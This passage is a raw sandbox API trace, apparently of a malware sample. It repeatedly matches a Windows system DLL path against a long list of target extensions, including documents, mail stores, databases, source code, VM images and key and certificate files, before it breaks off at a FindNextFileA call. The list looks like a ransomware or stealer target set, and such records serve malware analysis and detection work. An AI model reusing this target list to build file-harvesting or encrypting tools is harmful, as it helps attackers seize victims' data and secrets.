(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.qbj") returned 0 [0098.806] lstrlenA (lpString="*.qbj") returned 5 [0098.807] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.ofx") returned 0 [0098.807] lstrlenA (lpString="*.ofx") returned 5 [0098.807] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.qif") returned 0 [0098.807] lstrlenA (lpString="*.qif") returned 5 [0098.807] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.mye") returned 0 [0098.807] lstrlenA (lpString="*.mye") returned 5 [0098.807] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.mbox") returned 0 [0098.807] lstrlenA (lpString="*.mbox") returned 6 [0098.807] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.eml") returned 0 [0098.807] lstrlenA (lpString="*.eml") returned 5 [0098.807] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.pst") returned 0 [0098.807] lstrlenA (lpString="*.pst") returned 5 [0098.807] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.ost") returned 0 [0098.808] lstrlenA (lpString="*.ost") returned 5 [0098.808] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.idx") returned 0 [0098.808] lstrlenA (lpString="*.idx") returned 5 [0098.808] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.dbx") returned 0 [0098.808] lstrlenA (lpString="*.dbx") returned 5 [0098.808] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.sql") returned 0 [0098.808] lstrlenA (lpString="*.sql") returned 5 [0098.808] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.mdb") returned 0 [0098.808] lstrlenA (lpString="*.mdb") returned 5 [0098.808] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.fdb") returned 0 [0098.808] lstrlenA (lpString="*.fdb") returned 5 [0098.808] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.wab") returned 0 [0098.808] lstrlenA (lpString="*.wab") returned 5 [0098.808] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.dat") returned 0 [0098.808] lstrlenA (lpString="*.dat") returned 5 [0098.808] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.txt") returned 0 [0098.809] lstrlenA (lpString="*.txt") returned 5 [0098.809] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.jpeg") returned 0 [0098.809] lstrlenA (lpString="*.jpeg") returned 6 [0098.809] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.jpg") returned 0 [0098.809] lstrlenA (lpString="*.jpg") returned 5 [0098.809] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.png") returned 0 [0098.809] lstrlenA (lpString="*.png") returned 5 [0098.809] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.php") returned 0 [0098.809] lstrlenA (lpString="*.php") returned 5 [0098.809] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.cs") returned 0 [0098.809] lstrlenA (lpString="*.cs") returned 4 [0098.809] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.cpp") returned 0 [0098.809] lstrlenA (lpString="*.cpp") returned 5 [0098.809] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.rar") returned 0 [0098.809] lstrlenA (lpString="*.rar") returned 5 [0098.809] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.zip") returned 0 [0098.809] lstrlenA (lpString="*.zip") returned 5 [0098.809] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.html") returned 0 [0098.810] lstrlenA (lpString="*.html") returned 6 [0098.810] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.htm") returned 0 [0098.810] lstrlenA (lpString="*.htm") returned 5 [0098.810] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.xlsx") returned 0 [0098.810] lstrlenA (lpString="*.xlsx") returned 6 [0098.810] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.xls") returned 0 [0098.810] lstrlenA (lpString="*.xls") returned 5 [0098.810] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.mp4") returned 0 [0098.810] lstrlenA (lpString="*.mp4") returned 5 [0098.810] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.ppt") returned 0 [0098.810] lstrlenA (lpString="*.ppt") returned 5 [0098.810] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.pptx") returned 0 [0098.810] lstrlenA (lpString="*.pptx") returned 6 [0098.810] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.doc") returned 0 [0098.810] lstrlenA (lpString="*.doc") returned 5 [0098.810] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.dot") returned 0 [0098.810] lstrlenA (lpString="*.dot") returned 5 [0098.810] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.docx") returned 0 [0098.810] lstrlenA (lpString="*.docx") returned 6 [0098.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.7z") returned 0 [0098.811] lstrlenA (lpString="*.7z") returned 4 [0098.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.tar") returned 0 [0098.811] lstrlenA (lpString="*.tar") returned 5 [0098.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.bz2") returned 0 [0098.811] lstrlenA (lpString="*.bz2") returned 5 [0098.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.gz") returned 0 [0098.811] lstrlenA (lpString="*.gz") returned 4 [0098.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.mkv") returned 0 [0098.811] lstrlenA (lpString="*.mkv") returned 5 [0098.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.eml") returned 0 [0098.811] lstrlenA (lpString="*.eml") returned 5 [0098.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.msg") returned 0 [0098.811] lstrlenA (lpString="*.msg") returned 5 [0098.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.edb") returned 0 [0098.811] lstrlenA (lpString="*.edb") returned 5 [0098.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.accdb") returned 0 [0098.811] lstrlenA (lpString="*.accdb") returned 7 [0098.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.odb") returned 0 [0098.812] lstrlenA (lpString="*.odb") returned 5 [0098.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.java") returned 0 [0098.812] lstrlenA (lpString="*.java") returned 6 [0098.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.asm") returned 0 [0098.812] lstrlenA (lpString="*.asm") returned 5 [0098.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.pfx") returned 0 [0098.812] lstrlenA (lpString="*.pfx") returned 5 [0098.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.pem") returned 0 [0098.812] lstrlenA (lpString="*.pem") returned 5 [0098.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.p12") returned 0 [0098.812] lstrlenA (lpString="*.p12") returned 5 [0098.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.gpg") returned 0 [0098.812] lstrlenA (lpString="*.gpg") returned 5 [0098.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.vsd") returned 0 [0098.812] lstrlenA (lpString="*.vsd") returned 5 [0098.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.odg") returned 0 [0098.812] lstrlenA (lpString="*.odg") returned 5 [0098.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.raw") returned 0 [0098.813] lstrlenA (lpString="*.raw") returned 5 [0098.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.nef") returned 0 [0098.813] lstrlenA (lpString="*.nef") returned 5 [0098.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.svg") returned 0 [0098.813] lstrlenA (lpString="*.svg") returned 5 [0098.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.psd") returned 0 [0098.813] lstrlenA (lpString="*.psd") returned 5 [0098.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.vmx") returned 0 [0098.813] lstrlenA (lpString="*.vmx") returned 5 [0098.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.vmdk") returned 0 [0098.813] lstrlenA (lpString="*.vmdk") returned 6 [0098.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.vdi") returned 0 [0098.813] lstrlenA (lpString="*.vdi") returned 5 [0098.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.lay6") returned 0 [0098.813] lstrlenA (lpString="*.lay6") returned 6 [0098.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.mpeg") returned 0 [0098.813] lstrlenA (lpString="*.mpeg") returned 6 [0098.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.djvu") returned 0 [0098.814] lstrlenA (lpString="*.djvu") returned 6 [0098.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.tiff") returned 0 [0098.814] lstrlenA (lpString="*.tiff") returned 6 [0098.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.backup") returned 0 [0098.814] lstrlenA (lpString="*.backup") returned 8 [0098.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.pdf") returned 0 [0098.814] lstrlenA (lpString="*.pdf") returned 5 [0098.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.cert") returned 0 [0098.814] lstrlenA (lpString="*.cert") returned 6 [0098.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.docm") returned 0 [0098.814] lstrlenA (lpString="*.docm") returned 6 [0098.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.xlsm") returned 0 [0098.814] lstrlenA (lpString="*.xlsm") returned 6 [0098.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.dwg") returned 0 [0098.814] lstrlenA (lpString="*.dwg") returned 5 [0098.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.nd") returned 0 [0098.814] lstrlenA (lpString="*.nd") returned 4 [0098.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.tlg") returned 0 [0098.815] lstrlenA (lpString="*.tlg") returned 5 [0098.815] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.lgb") returned 0 [0098.815] lstrlenA (lpString="*.lgb") returned 5 [0098.815] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.mov") returned 0 [0098.815] lstrlenA (lpString="*.mov") returned 5 [0098.815] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.xdw") returned 0 [0098.815] lstrlenA (lpString="*.xdw") returned 5 [0098.815] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.ods") returned 0 [0098.815] lstrlenA (lpString="*.ods") returned 5 [0098.815] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.wav") returned 0 [0098.815] lstrlenA (lpString="*.wav") returned 5 [0098.815] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.mp3") returned 0 [0098.815] lstrlenA (lpString="*.mp3") returned 5 [0098.815] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.aiff") returned 0 [0098.815] lstrlenA (lpString="*.aiff") returned 6 [0098.815] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.flac") returned 0 [0098.815] lstrlenA (lpString="*.flac") returned 6 [0098.816] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.m4a") returned 0 [0098.816] lstrlenA (lpString="*.m4a") returned 5 [0098.816] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.csv") returned 0 [0098.816] lstrlenA (lpString="*.csv") returned 5 [0098.816] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61771db0, 